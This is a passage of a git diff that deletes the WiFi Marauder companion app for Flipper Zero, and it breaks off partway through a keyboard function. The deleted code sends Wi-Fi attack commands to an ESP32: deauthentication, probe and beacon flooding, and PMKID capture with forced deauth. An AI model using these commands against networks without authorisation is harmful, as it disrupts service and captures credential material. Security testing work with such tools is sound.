- break; - case WifiMarauderScriptSelectTypeSsid: - select_type = "-s"; - break; - default: - return; // invalid stage - } - - char command[256]; - size_t command_length = 0; - - if(stage->indexes != NULL && stage->index_count > 0) { - command_length = snprintf(command, sizeof(command), "select %s ", select_type); - - for(int i = 0; i < stage->index_count; i++) { - int index = stage->indexes[i]; - command_length += snprintf( - command + command_length, sizeof(command) - command_length, "%d, ", index); - } - - // Remove the trailing comma and space - command_length -= 2; - command[command_length] = '\n'; - command_length++; - } else if(stage->filter == NULL || strcmp(stage->filter, "all") == 0) { - command_length = snprintf(command, sizeof(command), "select %s all\n", select_type); - } else { - command_length = snprintf( - command, sizeof(command), "select %s -f \"%s\"\n", select_type, stage->filter); - } - - wifi_marauder_uart_tx((uint8_t*)command, command_length); -} - -void _wifi_marauder_script_execute_deauth( - WifiMarauderScriptStageDeauth* stage, - WifiMarauderScriptWorker* worker) { - const char attack_command[] = "attack -t deauth\n"; - wifi_marauder_uart_tx((uint8_t*)(attack_command), strlen(attack_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_probe( - WifiMarauderScriptStageProbe* stage, - WifiMarauderScriptWorker* worker) { - const char attack_command[] = "attack -t probe\n"; - wifi_marauder_uart_tx((uint8_t*)(attack_command), strlen(attack_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_raw( - WifiMarauderScriptStageSniffRaw* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffraw\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_beacon( - WifiMarauderScriptStageSniffBeacon* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffbeacon\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_deauth( - WifiMarauderScriptStageSniffDeauth* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffdeauth\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_esp( - WifiMarauderScriptStageSniffEsp* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffesp\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_pmkid( - WifiMarauderScriptStageSniffPmkid* stage, - WifiMarauderScriptWorker* worker) { - char attack_command[50] = "sniffpmkid"; - int len = strlen(attack_command); - - if(stage->channel > 0) { - len += - snprintf(attack_command + len, sizeof(attack_command) - len, " -c %d", stage->channel); - } - - if(stage->force_deauth) { - len += snprintf(attack_command + len, sizeof(attack_command) - len, " -d"); - } - - len += snprintf(attack_command + len, sizeof(attack_command) - len, "\n"); - - wifi_marauder_uart_tx((uint8_t*)attack_command, len); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_sniff_pwn( - WifiMarauderScriptStageSniffPwn* stage, - WifiMarauderScriptWorker* worker) { - const char sniff_command[] = "sniffpwn\n"; - wifi_marauder_uart_tx((uint8_t*)sniff_command, strlen(sniff_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_beacon_list( - WifiMarauderScriptStageBeaconList* stage, - WifiMarauderScriptWorker* worker) { - const char clearlist_command[] = "clearlist -s\n"; - wifi_marauder_uart_tx((uint8_t*)(clearlist_command), strlen(clearlist_command)); - - char command[100]; - char* ssid; - - for(int i = 0; i < stage->ssid_count; i++) { - ssid = stage->ssids[i]; - snprintf(command, sizeof(command), "ssid -a -n \"%s\"", ssid); - wifi_marauder_uart_tx((uint8_t*)(command), strlen(command)); - _send_line_break(); - } - if(stage->random_ssids > 0) { - char add_random_command[50]; - snprintf( - add_random_command, - sizeof(add_random_command), - "ssid -a -r -g %d\n", - stage->random_ssids); - wifi_marauder_uart_tx((uint8_t*)add_random_command, strlen(add_random_command)); - } - const char attack_command[] = "attack -t beacon -l\n"; - wifi_marauder_uart_tx((uint8_t*)(attack_command), strlen(attack_command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_beacon_ap( - WifiMarauderScriptStageBeaconAp* stage, - WifiMarauderScriptWorker* worker) { - const char command[] = "attack -t beacon -a\n"; - wifi_marauder_uart_tx((uint8_t*)command, strlen(command)); - _wifi_marauder_script_delay(worker, stage->timeout); - _send_stop(); -} - -void _wifi_marauder_script_execute_exec(WifiMarauderScriptStageExec* stage) { - if(stage->command != NULL) { - wifi_marauder_uart_tx((uint8_t*)stage->command, strlen(stage->command)); - } -} - -void _wifi_marauder_script_execute_delay( - WifiMarauderScriptStageDelay* stage, - WifiMarauderScriptWorker* worker) { - _wifi_marauder_script_delay(worker, stage->timeout); -} - -void wifi_marauder_script_execute_start(void* context) { - furi_assert(context); - WifiMarauderScriptWorker* worker = context; - WifiMarauderScript* script = worker->script; - char command[100]; - - // Enables or disables the LED according to script settings - if(script->enable_led != WifiMarauderScriptBooleanUndefined) { - snprintf( - command, - sizeof(command), - "settings -s EnableLED %s", - script->enable_led ? "enable" : "disable"); - wifi_marauder_uart_tx((uint8_t*)command, strlen(command)); - _send_line_break(); - } - - // Enables or disables PCAP saving according to script settings - if(script->save_pcap != WifiMarauderScriptBooleanUndefined) { - snprintf( - command, - sizeof(command), - "settings -s SavePCAP %s", - script->save_pcap ? "enable" : "disable"); - wifi_marauder_uart_tx((uint8_t*)command, strlen(command)); - _send_line_break(); - } -} - -void wifi_marauder_script_execute_stage(WifiMarauderScriptStage* stage, void* context) { - furi_assert(context); - WifiMarauderScriptWorker* worker = context; - void* stage_data = stage->stage; - - switch(stage->type) { - case WifiMarauderScriptStageTypeScan: - _wifi_marauder_script_execute_scan((WifiMarauderScriptStageScan*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSelect: - _wifi_marauder_script_execute_select((WifiMarauderScriptStageSelect*)stage_data); - break; - case WifiMarauderScriptStageTypeDeauth: - _wifi_marauder_script_execute_deauth((WifiMarauderScriptStageDeauth*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeProbe: - _wifi_marauder_script_execute_probe((WifiMarauderScriptStageProbe*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffRaw: - _wifi_marauder_script_execute_sniff_raw( - (WifiMarauderScriptStageSniffRaw*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffBeacon: - _wifi_marauder_script_execute_sniff_beacon( - (WifiMarauderScriptStageSniffBeacon*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffDeauth: - _wifi_marauder_script_execute_sniff_deauth( - (WifiMarauderScriptStageSniffDeauth*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffEsp: - _wifi_marauder_script_execute_sniff_esp( - (WifiMarauderScriptStageSniffEsp*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffPmkid: - _wifi_marauder_script_execute_sniff_pmkid( - (WifiMarauderScriptStageSniffPmkid*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeSniffPwn: - _wifi_marauder_script_execute_sniff_pwn( - (WifiMarauderScriptStageSniffPwn*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeBeaconList: - _wifi_marauder_script_execute_beacon_list( - (WifiMarauderScriptStageBeaconList*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeBeaconAp: - _wifi_marauder_script_execute_beacon_ap( - (WifiMarauderScriptStageBeaconAp*)stage_data, worker); - break; - case WifiMarauderScriptStageTypeExec: - _wifi_marauder_script_execute_exec((WifiMarauderScriptStageExec*)stage_data); - break; - case WifiMarauderScriptStageTypeDelay: - _wifi_marauder_script_execute_delay((WifiMarauderScriptStageDelay*)stage_data, worker); - break; - } -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_executor.h b/applications/external/wifi_marauder_companion/script/wifi_marauder_script_executor.h deleted file mode 100644 index 654712849..000000000 --- a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_executor.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once - -#include "wifi_marauder_script.h" - -void wifi_marauder_script_execute_start(void* context); -void wifi_marauder_script_execute_stage(WifiMarauderScriptStage* stage, void* context); diff --git a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_worker.c b/applications/external/wifi_marauder_companion/script/wifi_marauder_script_worker.c deleted file mode 100644 index 45c5b56ba..000000000 --- a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_worker.c +++ /dev/null @@ -1,74 +0,0 @@ -#include "../wifi_marauder_app_i.h" -#include "wifi_marauder_script_worker.h" - -WifiMarauderScriptWorker* wifi_marauder_script_worker_alloc() { - WifiMarauderScriptWorker* worker = malloc(sizeof(WifiMarauderScriptWorker)); - if(worker == NULL) { - return NULL; - } - worker->callback_start = NULL; - worker->callback_stage = NULL; - worker->worker_thread = NULL; - worker->is_running = false; - return worker; -} - -int32_t _wifi_marauder_script_worker_task(void* worker) { - WifiMarauderScriptWorker* script_worker = worker; - WifiMarauderScript* script = script_worker->script; - if(script == NULL) { - return WifiMarauderScriptWorkerStatusInvalidScript; - } - - // Setup - script_worker->callback_start(script_worker->context); - if(!script_worker->is_running) { - return WifiMarauderScriptWorkerStatusForceExit; - } - - // Stages - for(int i = 0; i < script->repeat; i++) { - WifiMarauderScriptStage* current_stage = script->first_stage; - while(current_stage != NULL && script_worker->is_running) { - script_worker->callback_stage(current_stage, script_worker->context); - current_stage = current_stage->next_stage; - } - if(!script_worker->is_running) { - return WifiMarauderScriptWorkerStatusForceExit; - } - } - - script_worker->is_running = false; - return WifiMarauderScriptWorkerStatusSuccess; -} - -bool wifi_marauder_script_worker_start( - WifiMarauderScriptWorker* instance, - WifiMarauderScript* script) { - if(!instance || !script) { - return false; - } - instance->callback_start = wifi_marauder_script_execute_start; - instance->callback_stage = wifi_marauder_script_execute_stage; - instance->script = script; - instance->context = instance; - instance->is_running = true; - instance->worker_thread = furi_thread_alloc_ex( - "WifiMarauderScriptWorker", 1024, _wifi_marauder_script_worker_task, instance); - if(!instance->worker_thread) { - return false; - } - furi_thread_start(instance->worker_thread); - return true; -} - -void wifi_marauder_script_worker_free(WifiMarauderScriptWorker* worker) { - if(worker != NULL) { - if(worker->worker_thread != NULL) { - worker->is_running = false; - furi_thread_join(worker->worker_thread); - furi_thread_free(worker->worker_thread); - } - free(worker); - } -} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_worker.h b/applications/external/wifi_marauder_companion/script/wifi_marauder_script_worker.h deleted file mode 100644 index 76ff070d2..000000000 --- a/applications/external/wifi_marauder_companion/script/wifi_marauder_script_worker.h +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once - -#include "wifi_marauder_script.h" - -typedef enum { - WifiMarauderScriptWorkerStatusSuccess = 0, - WifiMarauderScriptWorkerStatusInvalidScript = 1, - WifiMarauderScriptWorkerStatusForceExit = 2 -} WifiMarauderScriptWorkerStatus; - -typedef struct WifiMarauderScriptWorker { - WifiMarauderScript* script; - FuriThread* worker_thread; - void (*callback_start)(void*); - void (*callback_stage)(WifiMarauderScriptStage*, void*); - void* context; - bool is_running; -} WifiMarauderScriptWorker; - -/** - * @brief Allocates a new instance of WifiMarauderScriptWorker. - * - * @return A pointer to the allocated instance or NULL if allocation fails. - */ -WifiMarauderScriptWorker* wifi_marauder_script_worker_alloc(); - -/** - * @brief Starts the execution of the worker and sets the callback function to be called after each stage is executed. - * - * @param instance A pointer to the instance of WifiMarauderScriptWorker to start. - * @param script Script to be executed - * @return True if the worker was successfully started, false otherwise. - */ -bool wifi_marauder_script_worker_start( - WifiMarauderScriptWorker* instance, - WifiMarauderScript* script); - -/** - * @brief Frees the memory used by the instance of WifiMarauderScriptWorker. - * - * @param script A pointer to the instance of WifiMarauderScriptWorker to free. - */ -void wifi_marauder_script_worker_free(WifiMarauderScriptWorker* script); diff --git a/applications/external/wifi_marauder_companion/wifi_10px.png b/applications/external/wifi_marauder_companion/wifi_10px.png deleted file mode 100644 index c13534660..000000000 Binary files a/applications/external/wifi_marauder_companion/wifi_10px.png and /dev/null differ diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.c b/applications/external/wifi_marauder_companion/wifi_marauder_app.c deleted file mode 100644 index 97b1d9715..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.c +++ /dev/null @@ -1,201 +0,0 @@ -#include "wifi_marauder_app_i.h" - -#include -#include - -static bool wifi_marauder_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - WifiMarauderApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool wifi_marauder_app_back_event_callback(void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void wifi_marauder_app_tick_event_callback(void* context) { - furi_assert(context); - WifiMarauderApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -WifiMarauderApp* wifi_marauder_app_alloc() { - WifiMarauderApp* app = malloc(sizeof(WifiMarauderApp)); - - app->gui = furi_record_open(RECORD_GUI); - app->dialogs = furi_record_open(RECORD_DIALOGS); - app->storage = furi_record_open(RECORD_STORAGE); - app->capture_file = storage_file_alloc(app->storage); - app->log_file = storage_file_alloc(app->storage); - app->save_pcap_setting_file = storage_file_alloc(app->storage); - app->save_logs_setting_file = storage_file_alloc(app->storage); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&wifi_marauder_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, wifi_marauder_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, wifi_marauder_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, wifi_marauder_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - WifiMarauderAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - app->selected_option_index[i] = 0; - } - - app->special_case_input_step = 0; - - app->text_box = text_box_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WifiMarauderAppViewConsoleOutput, text_box_get_view(app->text_box)); - app->text_box_store = furi_string_alloc(); - furi_string_reserve(app->text_box_store, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE); - - app->text_input = wifi_text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - WifiMarauderAppViewTextInput, - wifi_text_input_get_view(app->text_input)); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WifiMarauderAppViewWidget, widget_get_view(app->widget)); - - app->has_saved_logs_this_session = false; - - // if user hasn't confirmed whether to save pcaps and logs to sdcard, then prompt when scene starts - app->need_to_prompt_settings_init = - (!storage_file_exists(app->storage, SAVE_PCAP_SETTING_FILEPATH) || - !storage_file_exists(app->storage, SAVE_LOGS_SETTING_FILEPATH)); - - // Submenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, WifiMarauderAppViewSubmenu, submenu_get_view(app->submenu)); - - scene_manager_next_scene(app->scene_manager, WifiMarauderSceneStart); - - return app; -} - -void wifi_marauder_make_app_folder(WifiMarauderApp* app) { - furi_assert(app); - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\napp folder"); - } - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_PCAPS)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\npcaps folder"); - } - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_LOGS)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\npcaps folder"); - } - - if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_SCRIPTS)) { - dialog_message_show_storage_error(app->dialogs, "Cannot create\nscripts folder"); - } -} - -void wifi_marauder_load_settings(WifiMarauderApp* app) { - if(storage_file_open( - app->save_pcap_setting_file, - SAVE_PCAP_SETTING_FILEPATH, - FSAM_READ, - FSOM_OPEN_EXISTING)) { - char ok[1]; - storage_file_read(app->save_pcap_setting_file, ok, sizeof(ok)); - app->ok_to_save_pcaps = ok[0] == 'Y'; - } - storage_file_close(app->save_pcap_setting_file); - - if(storage_file_open( - app->save_logs_setting_file, - SAVE_LOGS_SETTING_FILEPATH, - FSAM_READ, - FSOM_OPEN_EXISTING)) { - char ok[1]; - storage_file_read(app->save_logs_setting_file, ok, sizeof(ok)); - app->ok_to_save_logs = ok[0] == 'Y'; - } - storage_file_close(app->save_logs_setting_file); -} - -void wifi_marauder_app_free(WifiMarauderApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewTextInput); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewWidget); - view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewSubmenu); - - widget_free(app->widget); - text_box_free(app->text_box); - furi_string_free(app->text_box_store); - wifi_text_input_free(app->text_input); - submenu_free(app->submenu); - variable_item_list_free(app->var_item_list); - storage_file_free(app->capture_file); - storage_file_free(app->log_file); - storage_file_free(app->save_pcap_setting_file); - storage_file_free(app->save_logs_setting_file); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - wifi_marauder_uart_free(app->uart); - wifi_marauder_uart_free(app->lp_uart); - - // Close records - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_STORAGE); - furi_record_close(RECORD_DIALOGS); - - free(app); -} - -int32_t wifi_marauder_app(void* p) { - UNUSED(p); - - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - furi_delay_ms(200); - - WifiMarauderApp* wifi_marauder_app = wifi_marauder_app_alloc(); - - wifi_marauder_make_app_folder(wifi_marauder_app); - wifi_marauder_load_settings(wifi_marauder_app); - - wifi_marauder_app->uart = wifi_marauder_usart_init(wifi_marauder_app); - wifi_marauder_app->lp_uart = wifi_marauder_lp_uart_init(wifi_marauder_app); - - view_dispatcher_run(wifi_marauder_app->view_dispatcher); - - wifi_marauder_app_free(wifi_marauder_app); - - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - - return 0; -} diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h deleted file mode 100644 index ceacbb489..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -#define WIFI_MARAUDER_APP_VERSION "v0.6.0" - -typedef struct WifiMarauderApp WifiMarauderApp; - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h deleted file mode 100644 index 4920bd229..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h +++ /dev/null @@ -1,145 +0,0 @@ -//** Includes sniffbt and sniffskim for compatible ESP32-WROOM hardware. -// wifi_marauder_scene_start.c also changed **// -#pragma once - -#include "wifi_marauder_app.h" -#include "scenes/wifi_marauder_scene.h" -#include "wifi_marauder_custom_event.h" -#include "wifi_marauder_uart.h" -#include "file/sequential_file.h" -#include "script/wifi_marauder_script.h" -#include "script/wifi_marauder_script_worker.h" -#include "script/wifi_marauder_script_executor.h" -#include "script/menu/wifi_marauder_script_stage_menu.h" - -#include -#include -#include -#include -#include -#include -#include -#include "wifi_marauder_text_input.h" - -#include -#include -#include -#include - -#define NUM_MENU_ITEMS (20) - -#define WIFI_MARAUDER_TEXT_BOX_STORE_SIZE (4096) -#define WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE (512) - -#define MARAUDER_APP_FOLDER_USER "apps_data/marauder" -#define MARAUDER_APP_FOLDER EXT_PATH(MARAUDER_APP_FOLDER_USER) -#define MARAUDER_APP_FOLDER_PCAPS MARAUDER_APP_FOLDER "/pcaps" -#define MARAUDER_APP_FOLDER_LOGS MARAUDER_APP_FOLDER "/logs" -#define MARAUDER_APP_FOLDER_USER_PCAPS MARAUDER_APP_FOLDER_USER "/pcaps" -#define MARAUDER_APP_FOLDER_USER_LOGS MARAUDER_APP_FOLDER_USER "/logs" -#define MARAUDER_APP_FOLDER_SCRIPTS MARAUDER_APP_FOLDER "/scripts" -#define MARAUDER_APP_SCRIPT_PATH(file_name) MARAUDER_APP_FOLDER_SCRIPTS "/" file_name ".json" -#define SAVE_PCAP_SETTING_FILEPATH MARAUDER_APP_FOLDER "/save_pcaps_here.setting" -#define SAVE_LOGS_SETTING_FILEPATH MARAUDER_APP_FOLDER "/save_logs_here.setting" - -typedef enum WifiMarauderUserInputType { - WifiMarauderUserInputTypeString, - WifiMarauderUserInputTypeNumber, - WifiMarauderUserInputTypeFileName -} WifiMarauderUserInputType; - -struct WifiMarauderApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - char text_input_store[WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE + 1]; - FuriString* text_box_store; - size_t text_box_store_strlen; - TextBox* text_box; - WIFI_TextInput* text_input; - Storage* storage; - File* capture_file; - File* log_file; - char log_file_path[100]; - File* save_pcap_setting_file; - File* save_logs_setting_file; - bool need_to_prompt_settings_init; - int which_prompt; - bool ok_to_save_pcaps; - bool ok_to_save_logs; - bool has_saved_logs_this_session; - DialogsApp* dialogs; - - VariableItemList* var_item_list; - Widget* widget; - Submenu* submenu; - int open_log_file_page; - int open_log_file_num_pages; - - WifiMarauderUart* uart; - WifiMarauderUart* lp_uart; - int selected_menu_index; - int selected_option_index[NUM_MENU_ITEMS]; - const char* selected_tx_string; - bool is_command; - bool is_custom_tx_string; - bool focus_console_start; - bool show_stopscan_tip; - bool is_writing_pcap; - bool is_writing_log; - - // User input - WifiMarauderUserInputType user_input_type; - char** user_input_string_reference; - int* user_input_number_reference; - char* user_input_file_dir; - char* user_input_file_extension; - - // Automation script - WifiMarauderScript* script; - WifiMarauderScriptWorker* script_worker; - FuriString** script_list; - int script_list_count; - WifiMarauderScriptStage* script_edit_selected_stage; - WifiMarauderScriptStageMenu* script_stage_menu; - WifiMarauderScriptStageListItem* script_stage_edit_first_item; - char*** script_stage_edit_strings_reference; - int* script_stage_edit_string_count_reference; - int** script_stage_edit_numbers_reference; - int* script_stage_edit_number_count_reference; - - // For input source and destination MAC in targeted deauth attack - int special_case_input_step; - char special_case_input_src_addr[20]; - char special_case_input_dst_addr[20]; -}; - -// Supported commands: -// https://github.com/justcallmekoko/ESP32Marauder/wiki/cli -// Scan -// -> If list is empty, then start a new scanap. (Tap any button to stop.) -// -> If there's a list, provide option to rescan and dump list of targets to select. -// -> Press BACK to go back to top-level. -// Attack -// -> Beacon -// -> Deauth -// -> Probe -// -> Rickroll -// Sniff -// -> Beacon -// -> Deauth -// -> ESP -// -> PMKID -// -> Pwnagotchi -// Channel -// Update -// Reboot - -typedef enum { - WifiMarauderAppViewVarItemList, - WifiMarauderAppViewConsoleOutput, - WifiMarauderAppViewTextInput, - WifiMarauderAppViewWidget, - WifiMarauderAppViewSubmenu, -} WifiMarauderAppView; diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h b/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h deleted file mode 100644 index b6d9f8274..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -typedef enum { - WifiMarauderEventRefreshConsoleOutput = 0, - WifiMarauderEventStartConsole, - WifiMarauderEventStartKeyboard, - WifiMarauderEventSaveSourceMac, - WifiMarauderEventSaveDestinationMac, - WifiMarauderEventStartSettingsInit, - WifiMarauderEventStartLogViewer, - WifiMarauderEventStartScriptSelect, - WifiMarauderEventStartSniffPmkidOptions -} WifiMarauderCustomEvent; diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_text_input.c b/applications/external/wifi_marauder_companion/wifi_marauder_text_input.c deleted file mode 100644 index b5ab1d32e..000000000 --- a/applications/external/wifi_marauder_companion/wifi_marauder_text_input.c +++ /dev/null @@ -1,756 +0,0 @@ -#include "wifi_marauder_text_input.h" -#include -#include "esp32_wifi_marauder_icons.h" -#include "wifi_marauder_app_i.h" -#include - -struct WIFI_TextInput { - View* view; - FuriTimer* timer; -}; - -typedef struct { - const char text; - const uint8_t x; - const uint8_t y; -} WIFI_TextInputKey; - -typedef struct { - const WIFI_TextInputKey* rows[3]; - const uint8_t keyboard_index; -} Keyboard; - -typedef struct { - const char* header; - char* text_buffer; - size_t text_buffer_size; - size_t minimum_length; - bool clear_default_text; - - bool cursor_select; - size_t cursor_pos; - - WIFI_TextInputCallback callback; - void* callback_context; - - uint8_t selected_row; - uint8_t selected_column; - uint8_t selected_keyboard; - - WIFI_TextInputValidatorCallback validator_callback; - void* validator_callback_context; - FuriString* validator_text; - bool validator_message_visible; -} WIFI_TextInputModel; - -static const uint8_t keyboard_origin_x = 1; -static const uint8_t keyboard_origin_y = 29; -static const uint8_t keyboard_row_count = 3; -static const uint8_t keyboard_count = 2; - -#define ENTER_KEY '\r' -#define BACKSPACE_KEY '\b' -#define SWITCH_KEYBOARD_KEY 0xfe - -static const WIFI_TextInputKey keyboard_keys_row_1[] = { - {'q', 1, 8}, - {'w', 10, 8}, - {'e', 19, 8}, - {'r', 28, 8}, - {'t', 37, 8}, - {'y', 46, 8}, - {'u', 55, 8}, - {'i', 64, 8}, - {'o', 73, 8}, - {'p', 82, 8}, - {'0', 91, 8}, - {'1', 100, 8}, - {'2', 110, 8}, - {'3', 120, 8}, -}; - -static const WIFI_TextInputKey keyboard_keys_row_2[] = { - {'a', 1, 20}, - {'s', 10, 20}, - {'d', 19, 20}, - {'f', 28, 20}, - {'g', 37, 20}, - {'h', 46, 20}, - {'j', 55, 20}, - {'k', 64, 20}, - {'l', 73, 20}, - {BACKSPACE_KEY, 82, 12}, - {'4', 100, 20}, - {'5', 110, 20}, - {'6', 120, 20}, -}; - -static const WIFI_TextInputKey keyboard_keys_row_3[] = { - {SWITCH_KEYBOARD_KEY, 1, 23}, - {'z', 13, 32}, - {'x', 21, 32}, - {'c', 28, 32}, - {'v', 36, 32}, - {'b', 44, 32}, - {'n', 52, 32}, - {'m', 59, 32}, - {'_', 67, 32}, - {ENTER_KEY, 74, 23}, - {'7', 100, 32}, - {'8', 110, 32}, - {'9', 120, 32}, -}; - -static const WIFI_TextInputKey symbol_keyboard_keys_row_1[] = { - {'!', 2, 8}, - {'@', 12, 8}, - {'#', 22, 8}, - {'$', 32, 8}, - {'%', 42, 8}, - {'^', 52, 8}, - {'&', 62, 8}, - {'(', 71, 8}, - {')', 81, 8}, - {'0', 91, 8}, - {'1', 100, 8}, - {'2', 110, 8}, - {'3', 120, 8}, -}; - -static const WIFI_TextInputKey symbol_keyboard_keys_row_2[] = { - {'~', 2, 20}, - {'+', 12, 20}, - {'-', 22, 20}, - {'=', 32, 20}, - {'[', 42, 20}, - {']', 52, 20}, - {'{', 62, 20}, - {'}', 72, 20}, - {BACKSPACE_KEY, 82, 12}, - {'4', 100, 20}, - {'5', 110, 20}, - {'6', 120, 20}, -}; - -static const WIFI_TextInputKey symbol_keyboard_keys_row_3[] = { - {SWITCH_KEYBOARD_KEY, 1, 23}, - {'.', 15, 32}, - {',', 29, 32}, - {':', 41, 32}, - {'/', 53, 32}, - {'\'', 65, 32}, - {ENTER_KEY, 74, 23}, - {'7', 100, 32}, - {'8', 110, 32}, - {'9', 120, 32}, -}; - -static const Keyboard keyboard = { - .rows = - { - keyboard_keys_row_1, - keyboard_keys_row_2, - keyboard_keys_row_3, - }, - .keyboard_index = 0, -}; - -static const Keyboard symbol_keyboard = { - .rows = - { - symbol_keyboard_keys_row_1, - symbol_keyboard_keys_row_2, - symbol_keyboard_keys_row_3, - }, - .keyboard_index = 1, -}; - -static const Keyboard* keyboards[] = { - &keyboard, - &symbol_keyboard, -}; - -static void switch_keyboard(WIFI_TextInputModel* model) { - model->selected_keyboard = (model->selected_keyboard + 1) % keyboard_count; -} - -static uint8_t get_row_size(const Keyboard* keyboard, uint8_t row_index) { - uint8_t row_size = 0; - if(keyboard == &symbol_keyboard) { - switch(row_index + 1) { - case 1: - row_size = COUNT_OF(symbol_keyboard_keys_row_1); - break; - case 2: - row_size = COUNT_OF(symbol_keyboard_keys_row_2); - break; - case 3: - row_size = COUNT_OF(symbol_keyboard_keys_row_3); - break; - default: - furi_crash(NULL); - } - } else { - switch(row_index + 1) { - case 1: - row_size = COUNT_OF(keyboard_keys_row_1); - break; - case 2: - row_size = COUNT_OF(keyboard_keys_row_2); - break; - case 3: - row_size = COUNT_OF(keyboard_keys_row_3); - break; - default: - 